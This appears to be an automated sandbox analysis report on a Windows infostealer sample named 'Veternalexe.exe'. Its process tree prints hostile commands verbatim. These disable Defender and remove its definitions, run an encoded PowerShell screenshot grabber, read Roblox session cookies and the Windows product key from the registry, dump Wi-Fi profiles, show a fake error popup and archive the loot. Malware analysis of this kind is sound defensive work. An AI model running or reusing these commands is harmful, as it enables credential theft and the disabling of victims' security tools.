Analysis
- max time kernel
1s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20231222-en - resource tags
- submitted
10/01/2024, 19:29
General
- Target Veternalexe.exe
- Size 6.8MB
- Sample240110-x7pgssfeg3
- SHA256 a92cc0b1c37652001b3e33d633a026340a9565a99bf65353bbc072e7315c8cf5
Malware Config
Signatures
- Loads dropped DLL 17 IoCs
- UPX packed file 59 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
- Enumerates processes with tasklist 1 TTPs 3 IoCs
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Veternalexe.exe"C:\Users\Admin\AppData\Local\Temp\Veternalexe.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Veternalexe.exe"C:\Users\Admin\AppData\Local\Temp\Veternalexe.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Veternalexe.exe'1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"1⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FO LIST1⤵
- Enumerates processes with tasklist
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=2⤵
-
-
C:\Windows\system32\tree.comtree /A /F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"1⤵
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"1⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST1⤵
- Enumerates processes with tasklist
-
C:\Windows\system32\tree.comtree /A /F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"1⤵
-
C:\Windows\system32\tree.comtree /A /F2⤵
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\11xo13y5\11xo13y5.cmdline"1⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES545A.tmp" "c:\Users\Admin\AppData\Local\Temp\11xo13y5\CSC106A9434D5C94C16B27470D16CEEEA46.TMP"2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"1⤵
-
C:\Windows\system32\tree.comtree /A /F2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"1⤵
-
C:\Windows\system32\getmac.exegetmac1⤵
-
C:\Users\Admin\AppData\Local\Temp\_MEI20562\rar.exeC:\Users\Admin\AppData\Local\Temp\_MEI20562\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\fgt65.zip" *1⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic os get Caption1⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get totalphysicalmemory1⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"1⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name1⤵
- Detects videocard installed
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic os get Caption"1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI20562\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\fgt65.zip" *"1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "getmac"1⤵
-
C:\Windows\system32\tree.comtree /A /F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"1⤵
-
C:\Windows\system32\tree.comtree /A /F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"1⤵
-
C:\Windows\system32\netsh.exenetsh wlan show profile1⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST1⤵
- Enumerates processes with tasklist
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"1⤵
-
C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('NET Framework 3.0 is missing, please download it from their official website.', 0, 'Missing File', 32+16);close()"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('NET Framework 3.0 is missing, please download it from their official website.', 0, 'Missing File', 32+16);close()""1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Veternalexe.exe'"1⤵
-
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_socket.pyd
_sqlite3.pyd
_ssl.pyd
base_library.zip
blank.aes
libcrypto-1_1.dll
libffi-8.dll
libssl-1_1.dll
python311.dll
python311.dll
rar.exe
rarreg.key
select.pyd
sqlite3.dll
unicodedata.pyd
memory/904-235-0x00000180778B0000-0x00000180778C0000-memory.dmp
memory/904-233-0x00000180778B0000-0x00000180778C0000-memory.dmp
memory/904-234-0x00000180778B0000-0x00000180778C0000-memory.dmp
memory/904-232-0x00007FF82C560000-0x00007FF82D021000-memory.dmp
memory/904-237-0x00007FF82C560000-0x00007FF82D021000-memory.dmp
memory/2320-112-0x00007FF82C7C0000-0x00007FF82D281000-memory.dmp
memory/2320-109-0x000001C8863B0000-0x000001C8863C0000-memory.dmp
memory/2320-94-0x000001C8863B0000-0x000001C8863C0000-memory.dmp
memory/2320-91-0x00007FF82C7C0000-0x00007FF82D281000-memory.dmp
memory/2320-81-0x000001C8A07B0000-0x000001C8A07D2000-memory.dmp
memory/2320-92-0x000001C8863B0000-0x000001C8863C0000-memory.dmp
memory/2692-278-0x00007FF82C560000-0x00007FF82D021000-memory.dmp
memory/2692-280-0x00007FF82C560000-0x00007FF82D021000-memory.dmp
memory/3232-287-0x00007FF83D340000-0x00007FF83D4AF000-memory.dmp
memory/3232-25-0x00007FF82DA20000-0x00007FF82E00A000-memory.dmp
memory/3232-296-0x00007FF82DA20000-0x00007FF82E00A000-memory.dmp
memory/3232-297-0x00007FF83DA90000-0x00007FF83DAB3000-memory.dmp
memory/3232-214-0x00007FF83D610000-0x00007FF83D63E000-memory.dmp
memory/3232-298-0x00007FF841F60000-0x00007FF841F6F000-memory.dmp
memory/3232-299-0x00007FF83DA60000-0x00007FF83DA8D000-memory.dmp
memory/3232-300-0x00007FF83D9F0000-0x00007FF83DA09000-memory.dmp
memory/3232-301-0x00007FF83D9C0000-0x00007FF83D9E3000-memory.dmp
memory/3232-120-0x00007FF83D710000-0x00007FF83D729000-memory.dmp
memory/3232-302-0x00007FF83D340000-0x00007FF83D4AF000-memory.dmp
memory/3232-303-0x00007FF83D710000-0x00007FF83D729000-memory.dmp
memory/3232-304-0x00007FF841ED0000-0x00007FF841EDD000-memory.dmp
memory/3232-306-0x00007FF82D960000-0x00007FF82DA18000-memory.dmp
memory/3232-307-0x00007FF82D5E0000-0x00007FF82D955000-memory.dmp
memory/3232-308-0x00007FF83D5D0000-0x00007FF83D5E4000-memory.dmp
memory/3232-78-0x00007FF82DA20000-0x00007FF82E00A000-memory.dmp
memory/3232-76-0x00007FF83DA50000-0x00007FF83DA5D000-memory.dmp
memory/3232-74-0x00007FF83D5D0000-0x00007FF83D5E4000-memory.dmp
memory/3232-72-0x00007FF82D5E0000-0x00007FF82D955000-memory.dmp
memory/3232-70-0x00007FF82D960000-0x00007FF82DA18000-memory.dmp
memory/3232-309-0x00007FF83DA50000-0x00007FF83DA5D000-memory.dmp
memory/3232-66-0x00007FF83D610000-0x00007FF83D63E000-memory.dmp
memory/3232-217-0x00007FF82D960000-0x00007FF82DA18000-memory.dmp
memory/3232-64-0x00007FF841ED0000-0x00007FF841EDD000-memory.dmp
memory/3232-63-0x00007FF83D710000-0x00007FF83D729000-memory.dmp
memory/3232-218-0x00000236DA8A0000-0x00000236DAC15000-memory.dmp
memory/3232-219-0x00007FF82D5E0000-0x00007FF82D955000-memory.dmp
memory/3232-58-0x00007FF83D9C0000-0x00007FF83D9E3000-memory.dmp
memory/3232-57-0x00007FF83D9F0000-0x00007FF83DA09000-memory.dmp
memory/3232-310-0x00007FF82D4C0000-0x00007FF82D5DC000-memory.dmp
memory/3232-54-0x00007FF83DA60000-0x00007FF83DA8D000-memory.dmp
memory/3232-305-0x00007FF83D610000-0x00007FF83D63E000-memory.dmp
memory/3232-48-0x00007FF841F60000-0x00007FF841F6F000-memory.dmp
memory/3232-47-0x00007FF83DA90000-0x00007FF83DAB3000-memory.dmp
memory/3232-60-0x00007FF83D340000-0x00007FF83D4AF000-memory.dmp
memory/3232-281-0x00007FF82DA20000-0x00007FF82E00A000-memory.dmp
memory/3232-114-0x00007FF83D340000-0x00007FF83D4AF000-memory.dmp
memory/3232-282-0x00007FF83DA90000-0x00007FF83DAB3000-memory.dmp
memory/3232-108-0x00007FF83D9C0000-0x00007FF83D9E3000-memory.dmp
memory/3232-71-0x00000236DA8A0000-0x00000236DAC15000-memory.dmp
memory/3232-97-0x00007FF83DA60000-0x00007FF83DA8D000-memory.dmp
memory/3232-79-0x00007FF82D4C0000-0x00007FF82D5DC000-memory.dmp
memory/3232-80-0x00007FF83DA90000-0x00007FF83DAB3000-memory.dmp
memory/3836-96-0x000002315BA70000-0x000002315BA80000-memory.dmp
memory/3836-95-0x000002315BA70000-0x000002315BA80000-memory.dmp
memory/3836-98-0x00007FF82C7C0000-0x00007FF82D281000-memory.dmp
memory/3836-165-0x00007FF82C7C0000-0x00007FF82D281000-memory.dmp
memory/4036-169-0x00007FF82C7C0000-0x00007FF82D281000-memory.dmp
memory/4036-163-0x000001D1F1810000-0x000001D1F1818000-memory.dmp
memory/4036-119-0x000001D1D6F60000-0x000001D1D6F70000-memory.dmp
memory/4036-115-0x00007FF82C7C0000-0x00007FF82D281000-memory.dmp
memory/4036-116-0x000001D1D6F60000-0x000001D1D6F70000-memory.dmp
memory/4600-117-0x00007FF82C7C0000-0x00007FF82D281000-memory.dmp
memory/4600-139-0x000001D63FC40000-0x000001D63FC50000-memory.dmp
memory/4600-146-0x00007FF82C7C0000-0x00007FF82D281000-memory.dmp
memory/4600-118-0x000001D63FC40000-0x000001D63FC50000-memory.dmp
memory/5728-264-0x000001B9AFA20000-0x000001B9AFA30000-memory.dmp
memory/5728-263-0x00007FF82C560000-0x00007FF82D021000-memory.dmp
memory/5728-267-0x00007FF82C560000-0x00007FF82D021000-memory.dmp
memory/5728-265-0x000001B9AFA20000-0x000001B9AFA30000-memory.dmp
memory/6028-216-0x0000026632A60000-0x0000026632A70000-memory.dmp
memory/6028-221-0x00007FF82C560000-0x00007FF82D021000-memory.dmp
memory/6028-215-0x0000026632A60000-0x0000026632A70000-memory.dmp
memory/6028-213-0x00007FF82C560000-0x00007FF82D021000-memory.dmp